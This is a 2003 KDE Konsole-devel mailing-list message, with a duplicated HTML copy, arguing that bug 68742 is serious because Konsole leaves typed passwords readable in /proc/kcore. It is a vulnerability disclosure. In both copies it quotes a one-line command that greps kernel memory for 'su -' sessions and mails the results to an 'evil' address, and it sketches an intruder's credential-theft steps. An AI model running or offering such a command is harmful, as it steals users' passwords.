[Konsole-devel] [Bug 68742] Information leak of keystrokes.

Fri Nov 21 19:46:10 UTC 2003

------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.

http://bugs.kde.org/show_bug.cgi?id=68742     

------- Additional Comments From hugo at homebaze.net  2003-11-21 20:46 -------
Subject: Re:  Information leak of keystrokes.

Yes, I am aware of the fact that the root-user can do everything anyway, 
but please let me elaborate on the severity of this issue.

If a bad admin, like you say, would recompile the SSH daemon or put a 
trojaned version of bash in place is at least some form of bridge that 
needs to be blown up. Also, these kind of alterations to the filesystem 
will definitely trigger an intrusion detection system as files change, 
etc. and alert his fellow administrators. This reading kproc is very, 
*very* easily done.

I have compiled my own SSH daemon, I therefor assume that is a 100% 
safe, and my colleague goes off and steals all my passphrases. No need 
to install keyloggers, network-sniffers or compromise the machine in anyway.

Imagine an office environment where the users do not root-access. They 
still think they have some form of privacy while SSH-ing  to their box 
at home. The administrator is now able to easily snoop all their 
passphrases and passwords, possibly chat-logs and emails, while they 
have the impression it's 2048 bit key encrypted.

This is a very serious thing I worry about.

Or, imagine a compromised machine. A usual intruder does not trojan 
sshd, ftpd, login and telnet *immediately*. In stead he emails himself, 
among other things like SSH-keys, the password-file to slam a 
brute-forcer against it. Then he hangs around a bit, and when he has the 
impression he is undetected he installs the rootkit, and then the 
logging of passwords can begin.

But now, upon intrusion, in addition of having the hashed password-file 
of a machine, he now also has a few passwords. Passwords that were even 
entered on *other*, remote machines, which this person then can go and 
compromise.

It's really amazing what a grep -a -A2 -B2 "su -" /proc/kcore | mmencode 
| mail "evil at address" can do for him.

Also, the privacy of a user cannot be ignored; some programs internally 
encrypt command-line or stdin passed passwords and overwrite the argv[] 
string if necessary to guarantee privacy. Now the password is right 
there in kproc. (This, incidentally, was what I was working on when I 
discovered this information leak in Konsole, so I know I am not the only 
one who sees security and privacy issues with this when running KDE in 
an office environment.)

In conclusion: even the root user should not and *may* not have this 
easy access to a complete log of a user's typed-in commands, passwords 
and passphrases; not from accounts on the local machines and definitely 
not those entered on remote machines.

This is a serious issue that needs to be addressed, and I hope you see 
this now too.

Best regards,
Hugo van Galen

Dirk Mueller wrote:

>------- You are receiving this mail because: -------
>You reported the bug, or are watching the reporter.
>     
>http://bugs.kde.org/show_bug.cgi?id=68742     
>
>
>
>
>------- Additional Comments From mueller at kde.org  2003-11-21 18:38 -------
>The problem is that once you have the root privileges necessary
>to read /proc/kcore you don't have to rely on something as unreliably
>as reading the kernel memory. You can just replace the /usr/bin/ssh
>binary with a version that writes your entered password to a hidden
>logfile. 
>
>such backdoor patches to ssh are commonly available on the web. There
>are even patches to /bin/bash that will log every keystroke you make.
>  
>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
 <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
 <title></title>
</head>
<body text="#000000" bgcolor="#ffffff">
Yes, I am aware of the fact
that the root-user can do everything anyway, but please let me
elaborate on the severity of this issue. 
 
If a bad admin, like you say, would recompile the SSH daemon or put a
trojaned version of bash in place is at least some form of bridge that
needs to be blown up. Also, these kind of alterations to the filesystem
will definitely trigger an intrusion detection system as files change,
etc. and alert his fellow administrators. This reading kproc is very,
*very* easily done. 
 
I have compiled my own SSH
daemon, I therefor assume that is a 100% safe, and my colleague goes
off
and steals all my passphrases. No need to install keyloggers,
network-sniffers or compromise the machine in anyway. 
 
Imagine an office environment
where the users do not root-access. They still think they have some
form of privacy while SSH-ing  to their box at home. The administrator
is now able to easily snoop all their passphrases and passwords,
possibly chat-logs and emails, while they have the impression it's 2048
bit key encrypted. 
 
This is a very serious thing I worry about. 
 
Or, imagine a compromised machine. A usual intruder does not trojan
sshd, ftpd, login and telnet *immediately*. In stead he emails himself,
among other things like SSH-keys, the password-file to slam a
brute-forcer against it. Then he hangs around a bit, and when he has
the impression he is undetected he installs the rootkit, and then the
logging of passwords can begin. 
 
But now, upon
intrusion, in addition of having the hashed password-file of a machine,
he now also has a few passwords. Passwords that were even entered on
*other*, remote machines, which this person then can go and compromise.
 
 
It's really amazing
what a grep -a -A2 -B2
"su -" /proc/kcore | mmencode | mail "evil at address" can do for
him. 
 
Also, the privacy of a user cannot be ignored; some programs internally encrypt
command-line or stdin passed passwords and overwrite the argv[] string
if necessary to guarantee privacy. Now the password is right there in
kproc. (This, incidentally, was what I was working on when I discovered
this information leak in Konsole, so I know I am not the only one who
sees security and privacy issues with this when running KDE in an
office environment.) 
 
In conclusion: even the root user should not and *may* not have this
easy access to a complete log of a user's typed-in commands, passwords
and passphrases; not from accounts on the local machines and definitely
not those entered on remote machines. 
 
This is a serious
issue that needs to be addressed, and I hope you see this now too. 
 
 
Best regards, 
Hugo van Galen 
 
 
Dirk Mueller wrote: 
<blockquote type="cite"
 cite="mid20031121173820.13865.qmail at ktown.kde.org">
 <pre wrap="">------- You are receiving this mail because: -------
You reported the bug, or are watching the reporter.

<a class="moz-txt-link-freetext" href="http://bugs.kde.org/show_bug.cgi?id=68742">http://bugs.kde.org/show_bug.cgi?id=68742</a>     

------- Additional Comments From <a class="moz-txt-link-abbreviated" href="mailto:mueller at kde.org">mueller at kde.org</a>  2003-11-21 18:38 -------
The problem is that once you have the root privileges necessary
to read /proc/kcore you don't have to rely on something as unreliably
as reading the kernel memory. You can just replace the /usr/bin/ssh
binary with a version that writes your entered password to a hidden
logfile. 

such backdoor patches to ssh are commonly available on the web. There
are even patches to /bin/bash that will log every keystroke you make.
 </pre>
</blockquote>
 
</body>
</html>